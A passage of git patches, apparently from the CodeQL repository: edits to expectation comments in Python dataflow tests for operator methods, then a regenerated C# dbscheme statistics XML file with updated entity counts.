arg2 << with_rlshift @@ -1035,7 +1035,7 @@ class With_rrshift: def test_rrshift(): with_rrshift = With_rrshift() #$ MISSING: arg1="SSA variable with_rrshift" func=With_rrshift.__rrshift__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rrshift.__rrshift__ + arg2 = "" #$ MISSING: arg2 func=With_rrshift.__rrshift__ arg2 >> with_rrshift @@ -1050,7 +1050,7 @@ class With_rand: def test_rand(): with_rand = With_rand() #$ MISSING: arg1="SSA variable with_rand" func=With_rand.__rand__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rand.__rand__ + arg2 = "" #$ MISSING: arg2 func=With_rand.__rand__ arg2 & with_rand @@ -1065,7 +1065,7 @@ class With_rxor: def test_rxor(): with_rxor = With_rxor() #$ MISSING: arg1="SSA variable with_rxor" func=With_rxor.__rxor__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rxor.__rxor__ + arg2 = "" #$ MISSING: arg2 func=With_rxor.__rxor__ arg2 ^ with_rxor @@ -1080,7 +1080,7 @@ class With_ror: def test_ror(): with_ror = With_ror() #$ MISSING: arg1="SSA variable with_ror" func=With_ror.__ror__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_ror.__ror__ + arg2 = "" #$ MISSING: arg2 func=With_ror.__ror__ arg2 | with_ror @@ -1095,7 +1095,7 @@ class With_iadd: def test_iadd(): with_iadd = With_iadd() #$ MISSING: arg1="SSA variable with_iadd" func=With_iadd.__iadd__ - arg2 = with_iadd #$ MISSING: arg2="arg2" func=With_iadd.__iadd__ + arg2 = with_iadd #$ MISSING: arg2 func=With_iadd.__iadd__ with_iadd += arg2 @@ -1110,7 +1110,7 @@ class With_isub: def test_isub(): with_isub = With_isub() #$ MISSING: arg1="SSA variable with_isub" func=With_isub.__isub__ - arg2 = with_isub #$ MISSING: arg2="arg2" func=With_isub.__isub__ + arg2 = with_isub #$ MISSING: arg2 func=With_isub.__isub__ with_isub -= arg2 @@ -1125,7 +1125,7 @@ class With_imul: def test_imul(): with_imul = With_imul() #$ MISSING: arg1="SSA variable with_imul" func=With_imul.__imul__ - arg2 = with_imul #$ MISSING: arg2="arg2" func=With_imul.__imul__ + arg2 = with_imul #$ MISSING: arg2 func=With_imul.__imul__ with_imul *= arg2 @@ -1140,7 +1140,7 @@ class With_imatmul: def test_imatmul(): with_imatmul = With_imatmul() #$ MISSING: arg1="SSA variable with_imatmul" func=With_imatmul.__imatmul__ - arg2 = with_imatmul #$ MISSING: arg2="arg2" func=With_imatmul.__imatmul__ + arg2 = with_imatmul #$ MISSING: arg2 func=With_imatmul.__imatmul__ with_imatmul @= arg2 @@ -1155,7 +1155,7 @@ class With_itruediv: def test_itruediv(): with_itruediv = With_itruediv() #$ MISSING: arg1="SSA variable with_itruediv" func=With_itruediv.__itruediv__ - arg2 = with_itruediv #$ MISSING: arg2="arg2" func=With_itruediv.__itruediv__ + arg2 = with_itruediv #$ MISSING: arg2 func=With_itruediv.__itruediv__ with_itruediv /= arg2 @@ -1170,7 +1170,7 @@ class With_ifloordiv: def test_ifloordiv(): with_ifloordiv = With_ifloordiv() #$ MISSING: arg1="SSA variable with_ifloordiv" func=With_ifloordiv.__ifloordiv__ - arg2 = with_ifloordiv #$ MISSING: arg2="arg2" func=With_ifloordiv.__ifloordiv__ + arg2 = with_ifloordiv #$ MISSING: arg2 func=With_ifloordiv.__ifloordiv__ with_ifloordiv //= arg2 @@ -1185,7 +1185,7 @@ class With_imod: def test_imod(): with_imod = With_imod() #$ MISSING: arg1="SSA variable with_imod" func=With_imod.__imod__ - arg2 = with_imod #$ MISSING: arg2="arg2" func=With_imod.__imod__ + arg2 = with_imod #$ MISSING: arg2 func=With_imod.__imod__ with_imod %= arg2 @@ -1200,7 +1200,7 @@ class With_ipow: def test_ipow(): with_ipow = With_ipow() #$ MISSING: arg1="SSA variable with_ipow" func=With_ipow.__ipow__ - arg2 = with_ipow #$ MISSING: arg2="arg2" func=With_ipow.__ipow__ + arg2 = with_ipow #$ MISSING: arg2 func=With_ipow.__ipow__ with_ipow **= arg2 @@ -1215,7 +1215,7 @@ class With_ilshift: def test_ilshift(): with_ilshift = With_ilshift() #$ MISSING: arg1="SSA variable with_ilshift" func=With_ilshift.__ilshift__ - arg2 = with_ilshift #$ MISSING: arg2="arg2" func=With_ilshift.__ilshift__ + arg2 = with_ilshift #$ MISSING: arg2 func=With_ilshift.__ilshift__ with_ilshift <<= arg2 @@ -1230,7 +1230,7 @@ class With_irshift: def test_irshift(): with_irshift = With_irshift() #$ MISSING: arg1="SSA variable with_irshift" func=With_irshift.__irshift__ - arg2 = with_irshift #$ MISSING: arg2="arg2" func=With_irshift.__irshift__ + arg2 = with_irshift #$ MISSING: arg2 func=With_irshift.__irshift__ with_irshift >>= arg2 @@ -1245,7 +1245,7 @@ class With_iand: def test_iand(): with_iand = With_iand() #$ MISSING: arg1="SSA variable with_iand" func=With_iand.__iand__ - arg2 = with_iand #$ MISSING: arg2="arg2" func=With_iand.__iand__ + arg2 = with_iand #$ MISSING: arg2 func=With_iand.__iand__ with_iand &= arg2 @@ -1260,7 +1260,7 @@ class With_ixor: def test_ixor(): with_ixor = With_ixor() #$ MISSING: arg1="SSA variable with_ixor" func=With_ixor.__ixor__ - arg2 = with_ixor #$ MISSING: arg2="arg2" func=With_ixor.__ixor__ + arg2 = with_ixor #$ MISSING: arg2 func=With_ixor.__ixor__ with_ixor ^= arg2 @@ -1275,7 +1275,7 @@ class With_ior: def test_ior(): with_ior = With_ior() #$ MISSING: arg1="SSA variable with_ior" func=With_ior.__ior__ - arg2 = with_ior #$ MISSING: arg2="arg2" func=With_ior.__ior__ + arg2 = with_ior #$ MISSING: arg2 func=With_ior.__ior__ with_ior |= arg2 From eb8a52ba8d5a4718b5bc9cd16659a3c3a7b2cd6f Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 20 Jan 2021 21:21:03 +0100 Subject: [PATCH 0746/1241] Add new .stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 7014 +++++++++-------- 1 file changed, 3576 insertions(+), 3438 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 60d97b381d3..2795d2ddb57 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ <dbstats> <typesizes><e> <k>@compilation</k> -<v>1093</v> +<v>1096</v> </e> <e> <k>@diagnostic</k> @@ -9,7 +9,7 @@ </e> <e> <k>@extractor_message</k> -<v>7615</v> +<v>7631</v> </e> <e> <k>@externalDefect</k> @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22690</v> +<v>22748</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14071977</v> +<v>14071909</v> </e> <e> <k>@assembly</k> -<v>4190</v> +<v>4200</v> </e> <e> <k>@file</k> -<v>42382</v> +<v>42489</v> </e> <e> <k>@folder</k> -<v>16906</v> +<v>16948</v> </e> <e> <k>@namespace</k> -<v>21898</v> +<v>21953</v> </e> <e> <k>@namespace_declaration</k> -<v>19720</v> +<v>19770</v> </e> <e> <k>@using_namespace_directive</k> -<v>143966</v> +<v>144329</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11928</v> +<v>11958</v> </e> <e> <k>@struct_type</k> -<v>49566</v> +<v>49691</v> </e> <e> <k>@class_type</k> -<v>304493</v> +<v>305261</v> </e> <e> <k>@interface_type</k> -<v>177759</v> +<v>178207</v> </e> <e> <k>@delegate_type</k> -<v>107353</v> +<v>107624</v> </e> <e> <k>@null_type</k> @@ -141,11 +141,11 @@ </e> <e> <k>@type_parameter</k> -<v>202195</v> +<v>202705</v> </e> <e> <k>@pointer_type</k> -<v>218</v> +<v>219</v> </e> <e> <k>@nullable_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9104</v> +<v>9127</v> </e> <e> <k>@void_type</k> @@ -165,7 +165,7 @@ </e> <e> <k>@tuple_type</k> -<v>1779</v> +<v>1783</v> </e> <e> <k>@uint_ptr_type</k> @@ -189,23 +189,23 @@ </e> <e> <k>@typeref</k> -<v>234326</v> +<v>234916</v> </e> <e> <k>@attribute</k> -<v>743932</v> +<v>745807</v> </e> <e> <k>@type_mention</k> -<v>1246314</v> +<v>1249451</v> </e> <e> <k>@oblivious</k> -<v>1312</v> +<v>1315</v> </e> <e> <k>@not_annotated</k> -<v>617</v> +<v>618</v> </e> <e> <k>@annotated</k> @@ -213,7 +213,7 @@ </e> <e> <k>@type_parameter_constraints</k> -<v>590676</v> +<v>592165</v> </e> <e> <k>@modifier</k> @@ -221,47 +221,47 @@ </e> <e> <k>@property</k> -<v>422687</v> +<v>423752</v> </e> <e> <k>@indexer</k> -<v>17008</v> +<v>17051</v> </e> <e> <k>@getter</k> -<v>439462</v> +<v>440570</v> </e> <e> <k>@setter</k> -<v>127273</v> +<v>127594</v> </e> <e> <k>@event</k> -<v>15200</v> +<v>15238</v> </e> <e> <k>@add_event_accessor</k> -<v>15200</v> +<v>15238</v> </e> <e> <k>@remove_event_accessor</k> -<v>15200</v> +<v>15238</v> </e> <e> <k>@operator</k> -<v>12385</v> +<v>12416</v> </e> <e> <k>@method</k> -<v>1114413</v> +<v>1117222</v> </e> <e> <k>@constructor</k> -<v>277088</v> +<v>277786</v> </e> <e> <k>@destructor</k> -<v>442</v> +<v>443</v> </e> <e> <k>@local_function</k> @@ -269,15 +269,15 @@ </e> <e> <k>@addressable_field</k> -<v>369732</v> +<v>370664</v> </e> <e> <k>@constant</k> -<v>184846</v> +<v>185312</v> </e> <e> <k>@addressable_local_variable</k> -<v>162455</v> +<v>162451</v> </e> <e> <k>@local_constant</k> @@ -289,67 +289,67 @@ </e> <e> <k>@parameter</k> -<v>2412633</v> +<v>2418714</v> </e> <e> <k>@block_stmt</k> -<v>307020</v> +<v>307795</v> </e> <e> <k>@expr_stmt</k> -<v>366480</v> +<v>367404</v> </e> <e> <k>@return_stmt</k> -<v>94536</v> +<v>94775</v> </e> <e> <k>@using_block_stmt</k> -<v>1142</v> +<v>1145</v> </e> <e> <k>@var_decl_stmt</k> -<v>147605</v> +<v>147602</v> </e> <e> <k>@if_stmt</k> -<v>117920</v> +<v>118217</v> </e> <e> <k>@switch_stmt</k> -<v>3071</v> +<v>3078</v> </e> <e> <k>@while_stmt</k> -<v>4455</v> +<v>4466</v> </e> <e> <k>@do_stmt</k> -<v>983</v> +<v>985</v> </e> <e> <k>@for_stmt</k> -<v>6806</v> +<v>6824</v> </e> <e> <k>@foreach_stmt</k> -<v>5342</v> +<v>5355</v> </e> <e> <k>@break_stmt</k> -<v>11024</v> +<v>11052</v> </e> <e> <k>@continue_stmt</k> -<v>2222</v> +<v>2227</v> </e> <e> <k>@goto_stmt</k> -<v>2738</v> +<v>2745</v> </e> <e> <k>@goto_case_stmt</k> -<v>329</v> +<v>330</v> </e> <e> <k>@goto_default_stmt</k> @@ -357,7 +357,7 @@ </e> <e> <k>@throw_stmt</k> -<v>75270</v> +<v>75459</v> </e> <e> <k>@yield_stmt</k> @@ -365,11 +365,11 @@ </e> <e> <k>@try_stmt</k> -<v>4302</v> +<v>4313</v> </e> <e> <k>@checked_stmt</k> -<v>253</v> +<v>254</v> </e> <e> <k>@unchecked_stmt</k> @@ -377,7 +377,7 @@ </e> <e> <k>@lock_stmt</k> -<v>1526</v> +<v>1530</v> </e> <e> <k>@const_decl_stmt</k> @@ -385,27 +385,27 @@ </e> <e> <k>@empty_stmt</k> -<v>352</v> +<v>353</v> </e> <e> <k>@unsafe_stmt</k> -<v>182</v> +<v>183</v> </e> <e> <k>@fixed_stmt</k> -<v>1150</v> +<v>1153</v> </e> <e> <k>@label_stmt</k> -<v>1019</v> +<v>1022</v> </e> <e> <k>@catch</k> -<v>3425</v> +<v>3434</v> </e> <e> <k>@case_stmt</k> -<v>22759</v> +<v>22817</v> </e> <e> <k>@local_function_stmt</k> @@ -417,79 +417,79 @@ </e> <e> <k>@bool_literal_expr</k> -<v>69419</v> +<v>69594</v> </e> <e> <k>@int_literal_expr</k> -<v>747703</v> +<v>755166</v> </e> <e> <k>@long_literal_expr</k> -<v>332</v> +<v>333</v> </e> <e> <k>@double_literal_expr</k> -<v>866</v> +<v>868</v> </e> <e> <k>@string_literal_expr</k> -<v>410826</v> +<v>411862</v> </e> <e> <k>@null_literal_expr</k> -<v>108012</v> +<v>108283</v> </e> <e> <k>@local_variable_access_expr</k> -<v>522612</v> +<v>522593</v> </e> <e> <k>@parameter_access_expr</k> -<v>354327</v> +<v>355221</v> </e> <e> <k>@field_access_expr</k> -<v>458716</v> +<v>459873</v> </e> <e> <k>@property_access_expr</k> -<v>358392</v> +<v>359295</v> </e> <e> <k>@type_access_expr</k> -<v>346534</v> +<v>346635</v> </e> <e> <k>@typeof_expr</k> -<v>29968</v> +<v>30041</v> </e> <e> <k>@method_invocation_expr</k> -<v>547087</v> +<v>547076</v> </e> <e> <k>@cast_expr</k> -<v>264717</v> +<v>265384</v> </e> <e> <k>@object_creation_expr</k> -<v>62624</v> +<v>62782</v> </e> <e> <k>@array_creation_expr</k> -<v>178981</v> +<v>180322</v> </e> <e> <k>@array_init_expr</k> -<v>178530</v> +<v>179872</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163323</v> +<v>163319</v> </e> <e> <k>@char_literal_expr</k> -<v>16212</v> +<v>16253</v> </e> <e> <k>@decimal_literal_expr</k> @@ -497,23 +497,23 @@ </e> <e> <k>@uint_literal_expr</k> -<v>2411</v> +<v>2417</v> </e> <e> <k>@ulong_literal_expr</k> -<v>390</v> +<v>391</v> </e> <e> <k>@float_literal_expr</k> -<v>455</v> +<v>456</v> </e> <e> <k>@this_access_expr</k> -<v>590642</v> +<v>592131</v> </e> <e> <k>@base_access_expr</k> -<v>2845</v> +<v>2852</v> </e> <e> <k>@method_access_expr</k> @@ -521,35 +521,35 @@ </e> <e> <k>@event_access_expr</k> -<v>434</v> +<v>435</v> </e> <e> <k>@indexer_access_expr</k> -<v>30696</v> +<v>30774</v> </e> <e> <k>@array_access_expr</k> -<v>19392</v> +<v>19441</v> </e> <e> <k>@delegate_invocation_expr</k> -<v>2005</v> +<v>2010</v> </e> <e> <k>@operator_invocation_expr</k> -<v>29948</v> +<v>29952</v> </e> <e> <k>@explicit_delegate_creation_expr</k> -<v>680</v> +<v>682</v> </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5099</v> +<v>5111</v> </e> <e> <k>@default_expr</k> -<v>6155</v> +<v>6171</v> </e> <e> <k>@plus_expr</k> @@ -557,123 +557,123 @@ </e> <e> <k>@minus_expr</k> -<v>7081</v> +<v>7099</v> </e> <e> <k>@bit_not_expr</k> -<v>739</v> +<v>741</v> </e> <e> <k>@log_not_expr</k> -<v>26331</v> +<v>26398</v> </e> <e> <k>@post_incr_expr</k> -<v>12335</v> +<v>12366</v> </e> <e> <k>@post_decr_expr</k> -<v>1700</v> +<v>1704</v> </e> <e> <k>@pre_incr_expr</k> -<v>1263</v> +<v>1266</v> </e> <e> <k>@pre_decr_expr</k> -<v>407</v> +<v>408</v> </e> <e> <k>@mul_expr</k> -<v>4635</v> +<v>4647</v> </e> <e> <k>@div_expr</k> -<v>1795</v> +<v>1799</v> </e> <e> <k>@rem_expr</k> -<v>705</v> +<v>707</v> </e> <e> <k>@add_expr</k> -<v>27803</v> +<v>27873</v> </e> <e> <k>@sub_expr</k> -<v>12596</v> +<v>12628</v> </e> <e> <k>@lshift_expr</k> -<v>4129</v> +<v>4139</v> </e> <e> <k>@rshift_expr</k> -<v>1766</v> +<v>1770</v> </e> <e> <k>@lt_expr</k> -<v>15951</v> +<v>15991</v> </e> <e> <k>@gt_expr</k> -<v>9397</v> +<v>9421</v> </e> <e> <k>@le_expr</k> -<v>3836</v> +<v>3846</v> </e> <e> <k>@ge_expr</k> -<v>6025</v> +<v>6040</v> </e> <e> <k>@eq_expr</k> -<v>53613</v> +<v>53748</v> </e> <e> <k>@ne_expr</k> -<v>37287</v> +<v>37381</v> </e> <e> <k>@bit_and_expr</k> -<v>6310</v> +<v>6326</v> </e> <e> <k>@bit_xor_expr</k> -<v>529</v> +<v>530</v> </e> <e> <k>@bit_or_expr</k> -<v>15255</v> +<v>15294</v> </e> <e> <k>@log_and_expr</k> -<v>20419</v> +<v>20470</v> </e> <e> <k>@log_or_expr</k> -<v>14022</v> +<v>14057</v> </e> <e> <k>@is_expr</k> -<v>6498</v> +<v>6514</v> </e> <e> <k>@as_expr</k> -<v>2733</v> +<v>2740</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3622</v> +<v>3631</v> </e> <e> <k>@conditional_expr</k> -<v>8989</v> +<v>9011</v> </e> <e> <k>@simple_assign_expr</k> -<v>166871</v> +<v>167291</v> </e> <e> <k>@assign_add_expr</k> @@ -681,11 +681,11 @@ </e> <e> <k>@assign_sub_expr</k> -<v>1023</v> +<v>1025</v> </e> <e> <k>@assign_mul_expr</k> -<v>182</v> +<v>183</v> </e> <e> <k>@assign_div_expr</k> @@ -705,7 +705,7 @@ </e> <e> <k>@assign_or_expr</k> -<v>1415</v> +<v>1418</v> </e> <e> <k>@assign_lshift_expr</k> @@ -713,27 +713,27 @@ </e> <e> <k>@assign_rshift_expr</k> -<v>216</v> +<v>217</v> </e> <e> <k>@object_init_expr</k> -<v>7670</v> +<v>7689</v> </e> <e> <k>@collection_init_expr</k> -<v>593</v> +<v>594</v> </e> <e> <k>@checked_expr</k> -<v>327</v> +<v>328</v> </e> <e> <k>@unchecked_expr</k> -<v>1424</v> +<v>1427</v> </e> <e> <k>@constructor_init_expr</k> -<v>5807</v> +<v>5821</v> </e> <e> <k>@add_event_expr</k> @@ -741,7 +741,7 @@ </e> <e> <k>@remove_event_expr</k> -<v>121</v> +<v>122</v> </e> <e> <k>@par_expr</k> @@ -749,7 +749,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48672</v> +<v>48795</v> </e> <e> <k>@anonymous_method_expr</k> @@ -761,31 +761,31 @@ </e> <e> <k>@dynamic_element_access_expr</k> -<v>330</v> +<v>331</v> </e> <e> <k>@dynamic_member_access_expr</k> -<v>6829</v> +<v>6846</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4149</v> +<v>4159</v> </e> <e> <k>@address_of_expr</k> -<v>1292</v> +<v>1295</v> </e> <e> <k>@sizeof_expr</k> -<v>1063</v> +<v>1065</v> </e> <e> <k>@await_expr</k> -<v>54641</v> +<v>54779</v> </e> <e> <k>@nameof_expr</k> -<v>15612</v> +<v>15652</v> </e> <e> <k>@interpolated_string_expr</k> @@ -797,7 +797,7 @@ </e> <e> <k>@throw_expr</k> -<v>1529</v> +<v>1533</v> </e> <e> <k>@tuple_expr</k> @@ -809,7 +809,7 @@ </e> <e> <k>@ref_expr</k> -<v>460</v> +<v>461</v> </e> <e> <k>@discard_expr</k> @@ -825,7 +825,7 @@ </e> <e> <k>@switch_expr</k> -<v>509</v> +<v>510</v> </e> <e> <k>@recursive_pattern_expr</k> @@ -841,15 +841,15 @@ </e> <e> <k>@switch_case_expr</k> -<v>4342</v> +<v>4353</v> </e> <e> <k>@assign_coalesce_expr</k> -<v>545</v> +<v>546</v> </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>13875</v> +<v>13910</v> </e> <e> <k>@namespace_access_expr</k> @@ -873,7 +873,7 @@ </e> <e> <k>@not_pattern_expr</k> -<v>70</v> +<v>71</v> </e> <e> <k>@function_pointer_invocation_expr</k> @@ -905,19 +905,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>188909</v> +<v>189385</v> </e> <e> <k>@multilinecomment</k> -<v>22609</v> +<v>22666</v> </e> <e> <k>@xmldoccomment</k> -<v>208332</v> +<v>208857</v> </e> <e> <k>@commentblock</k> -<v>147571</v> +<v>147943</v> </e> <e> <k>@asp_close_tag</k> @@ -957,7 +957,7 @@ </e> <e> <k>@cil_nop</k> -<v>838867</v> +<v>840983</v> </e> <e> <k>@cil_break</k> @@ -965,147 +965,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3961775</v> +<v>3971760</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1212541</v> +<v>1215597</v> </e> <e> <k>@cil_ldarg_2</k> -<v>442374</v> +<v>443489</v> </e> <e> <k>@cil_ldarg_3</k> -<v>208456</v> +<v>208981</v> </e> <e> <k>@cil_ldloc_0</k> -<v>926110</v> +<v>928444</v> </e> <e> <k>@cil_ldloc_1</k> -<v>492252</v> +<v>493493</v> </e> <e> <k>@cil_ldloc_2</k> -<v>287743</v> +<v>288468</v> </e> <e> <k>@cil_ldloc_3</k> -<v>191409</v> +<v>191891</v> </e> <e> <k>@cil_stloc_0</k> -<v>523187</v> +<v>524506</v> </e> <e> <k>@cil_stloc_1</k> -<v>259627</v> +<v>260281</v> </e> <e> <k>@cil_stloc_2</k> -<v>197640</v> +<v>198138</v> </e> <e> <k>@cil_stloc_3</k> -<v>137831</v> +<v>138179</v> </e> <e> <k>@cil_ldarg_s</k> -<v>263623</v> +<v>264287</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74518</v> +<v>74705</v> </e> <e> <k>@cil_starg_s</k> -<v>37050</v> +<v>37143</v> </e> <e> <k>@cil_ldloc_s</k> -<v>684055</v> +<v>685779</v> </e> <e> <k>@cil_ldloca_s</k> -<v>627124</v> +<v>628704</v> </e> <e> <k>@cil_stloc_s</k> -<v>479225</v> +<v>480433</v> </e> <e> <k>@cil_ldnull</k> -<v>601686</v> +<v>603203</v> </e> <e> <k>@cil_ldc_i4_m1</k> -<v>125776</v> +<v>126093</v> </e> <e> <k>@cil_ldc_i4_0</k> -<v>623478</v> +<v>625049</v> </e> <e> <k>@cil_ldc_i4_1</k> -<v>492991</v> +<v>494233</v> </e> <e> <k>@cil_ldc_i4_2</k> -<v>120624</v> +<v>120928</v> </e> <e> <k>@cil_ldc_i4_3</k> -<v>63935</v> +<v>64097</v> </e> <e> <k>@cil_ldc_i4_4</k> -<v>58681</v> +<v>58829</v> </e> <e> <k>@cil_ldc_i4_5</k> -<v>38552</v> +<v>38649</v> </e> <e> <k>@cil_ldc_i4_6</k> -<v>23186</v> +<v>23245</v> </e> <e> <k>@cil_ldc_i4_7</k> -<v>20683</v> +<v>20735</v> </e> <e> <k>@cil_ldc_i4_8</k> -<v>33370</v> +<v>33454</v> </e> <e> <k>@cil_ldc_i4_s</k> -<v>421909</v> +<v>422973</v> </e> <e> <k>@cil_ldc_i4</k> -<v>509134</v> +<v>510417</v> </e> <e> <k>@cil_ldc_i8</k> -<v>4870</v> +<v>4882</v> </e> <e> <k>@cil_ldc_r4</k> -<v>10227</v> +<v>10253</v> </e> <e> <k>@cil_ldc_r8</k> -<v>10295</v> +<v>10321</v> </e> <e> <k>@cil_dup</k> -<v>839357</v> +<v>841472</v> </e> <e> <k>@cil_pop</k> -<v>255602</v> +<v>256246</v> </e> <e> <k>@cil_jmp</k> @@ -1113,103 +1113,103 @@ </e> <e> <k>@cil_call</k> -<v>2732590</v> +<v>2739477</v> </e> <e> <k>@cil_calli</k> -<v>0</v> +<v>4</v> </e> <e> <k>@cil_ret</k> -<v>1780663</v> +<v>1785151</v> </e> <e> <k>@cil_br_s</k> -<v>344698</v> +<v>345567</v> </e> <e> <k>@cil_brfalse_s</k> -<v>464457</v> +<v>465628</v> </e> <e> <k>@cil_brtrue_s</k> -<v>429313</v> +<v>430395</v> </e> <e> <k>@cil_beq_s</k> -<v>81994</v> +<v>82200</v> </e> <e> <k>@cil_bge_s</k> -<v>34814</v> +<v>34901</v> </e> <e> <k>@cil_bgt_s</k> -<v>16444</v> +<v>16485</v> </e> <e> <k>@cil_ble_s</k> -<v>29107</v> +<v>29180</v> </e> <e> <k>@cil_blt_s</k> -<v>60737</v> +<v>60890</v> </e> <e> <k>@cil_bne_un_s</k> -<v>102327</v> +<v>102585</v> </e> <e> <k>@cil_bge_un_s</k> -<v>2177</v> +<v>2183</v> </e> <e> <k>@cil_bgt_un_s</k> -<v>8705</v> +<v>8727</v> </e> <e> <k>@cil_ble_un_s</k> -<v>6100</v> +<v>6115</v> </e> <e> <k>@cil_blt_un_s</k> -<v>1463</v> +<v>1466</v> </e> <e> <k>@cil_br</k> -<v>95847</v> +<v>96089</v> </e> <e> <k>@cil_brfalse</k> -<v>32291</v> +<v>32372</v> </e> <e> <k>@cil_brtrue</k> -<v>27245</v> +<v>27314</v> </e> <e> <k>@cil_beq</k> -<v>21441</v> +<v>21495</v> </e> <e> <k>@cil_bge</k> -<v>1385</v> +<v>1388</v> </e> <e> <k>@cil_bgt</k> -<v>1458</v> +<v>1461</v> </e> <e> <k>@cil_ble</k> -<v>4627</v> +<v>4639</v> </e> <e> <k>@cil_blt</k> -<v>7908</v> +<v>7928</v> </e> <e> <k>@cil_bne_un</k> -<v>7213</v> +<v>7231</v> </e> <e> <k>@cil_bge_un</k> @@ -1217,19 +1217,19 @@ </e> <e> <k>@cil_bgt_un</k> -<v>690</v> +<v>691</v> </e> <e> <k>@cil_ble_un</k> -<v>1098</v> +<v>1101</v> </e> <e> <k>@cil_blt_un</k> -<v>179</v> +<v>180</v> </e> <e> <k>@cil_switch</k> -<v>23804</v> +<v>23864</v> </e> <e> <k>@cil_ldind_i1</k> @@ -1237,27 +1237,27 @@ </e> <e> <k>@cil_ldind_u1</k> -<v>5492</v> +<v>5506</v> </e> <e> <k>@cil_ldind_i2</k> -<v>510</v> +<v>511</v> </e> <e> <k>@cil_ldind_u2</k> -<v>2500</v> +<v>2507</v> </e> <e> <k>@cil_ldind_i4</k> -<v>9746</v> +<v>9770</v> </e> <e> <k>@cil_ldind_u4</k> -<v>1477</v> +<v>1481</v> </e> <e> <k>@cil_ldind_i8</k> -<v>1963</v> +<v>1968</v> </e> <e> <k>@cil_ldind_i</k> @@ -1265,139 +1265,139 @@ </e> <e> <k>@cil_ldind_r4</k> -<v>699</v> +<v>701</v> </e> <e> <k>@cil_ldind_r8</k> -<v>262</v> +<v>263</v> </e> <e> <k>@cil_ldind_ref</k> -<v>6635</v> +<v>6651</v> </e> <e> <k>@cil_stind_ref</k> -<v>16882</v> +<v>16924</v> </e> <e> <k>@cil_stind_i1</k> -<v>8496</v> +<v>8518</v> </e> <e> <k>@cil_stind_i2</k> -<v>1407</v> +<v>1411</v> </e> <e> <k>@cil_stind_i4</k> -<v>10329</v> +<v>10355</v> </e> <e> <k>@cil_stind_i8</k> -<v>2338</v> +<v>2344</v> </e> <e> <k>@cil_stind_r4</k> -<v>184</v> +<v>185</v> </e> <e> <k>@cil_stind_r8</k> -<v>223</v> +<v>224</v> </e> <e> <k>@cil_add</k> -<v>223267</v> +<v>223830</v> </e> <e> <k>@cil_sub</k> -<v>85012</v> +<v>85227</v> </e> <e> <k>@cil_mul</k> -<v>29855</v> +<v>29931</v> </e> <e> <k>@cil_div</k> -<v>9094</v> +<v>9117</v> </e> <e> <k>@cil_div_un</k> -<v>252</v> +<v>253</v> </e> <e> <k>@cil_rem</k> -<v>3397</v> +<v>3406</v> </e> <e> <k>@cil_rem_un</k> -<v>228</v> +<v>229</v> </e> <e> <k>@cil_and</k> -<v>59147</v> +<v>59296</v> </e> <e> <k>@cil_or</k> -<v>22078</v> +<v>22134</v> </e> <e> <k>@cil_xor</k> -<v>22642</v> +<v>22699</v> </e> <e> <k>@cil_shl</k> -<v>18909</v> +<v>18956</v> </e> <e> <k>@cil_shr</k> -<v>9148</v> +<v>9171</v> </e> <e> <k>@cil_shr_un</k> -<v>26025</v> +<v>26091</v> </e> <e> <k>@cil_neg</k> -<v>2328</v> +<v>2334</v> </e> <e> <k>@cil_not</k> -<v>1453</v> +<v>1457</v> </e> <e> <k>@cil_conv_i1</k> -<v>1380</v> +<v>1383</v> </e> <e> <k>@cil_conv_i2</k> -<v>1443</v> +<v>1447</v> </e> <e> <k>@cil_conv_i4</k> -<v>59590</v> +<v>59740</v> </e> <e> <k>@cil_conv_i8</k> -<v>50130</v> +<v>50257</v> </e> <e> <k>@cil_conv_r4</k> -<v>2459</v> +<v>2465</v> </e> <e> <k>@cil_conv_r8</k> -<v>5264</v> +<v>5277</v> </e> <e> <k>@cil_conv_u4</k> -<v>7806</v> +<v>7826</v> </e> <e> <k>@cil_conv_u8</k> -<v>19482</v> +<v>19531</v> </e> <e> <k>@cil_callvirt</k> -<v>2043936</v> +<v>2049088</v> </e> <e> <k>@cil_cpobj</k> @@ -1405,63 +1405,63 @@ </e> <e> <k>@cil_ldobj</k> -<v>12614</v> +<v>12645</v> </e> <e> <k>@cil_ldstr</k> -<v>923821</v> +<v>926149</v> </e> <e> <k>@cil_newobj</k> -<v>654996</v> +<v>656647</v> </e> <e> <k>@cil_castclass</k> -<v>96761</v> +<v>97005</v> </e> <e> <k>@cil_isinst</k> -<v>56270</v> +<v>56412</v> </e> <e> <k>@cil_conv_r_un</k> -<v>262</v> +<v>263</v> </e> <e> <k>@cil_unbox</k> -<v>135</v> +<v>136</v> </e> <e> <k>@cil_throw</k> -<v>380023</v> +<v>380980</v> </e> <e> <k>@cil_ldfld</k> -<v>1671404</v> +<v>1675616</v> </e> <e> <k>@cil_ldflda</k> -<v>299754</v> +<v>300510</v> </e> <e> <k>@cil_stfld</k> -<v>1069707</v> +<v>1072403</v> </e> <e> <k>@cil_ldsfld</k> -<v>406053</v> +<v>407076</v> </e> <e> <k>@cil_ldsflda</k> -<v>2522</v> +<v>2529</v> </e> <e> <k>@cil_stsfld</k> -<v>130506</v> +<v>130835</v> </e> <e> 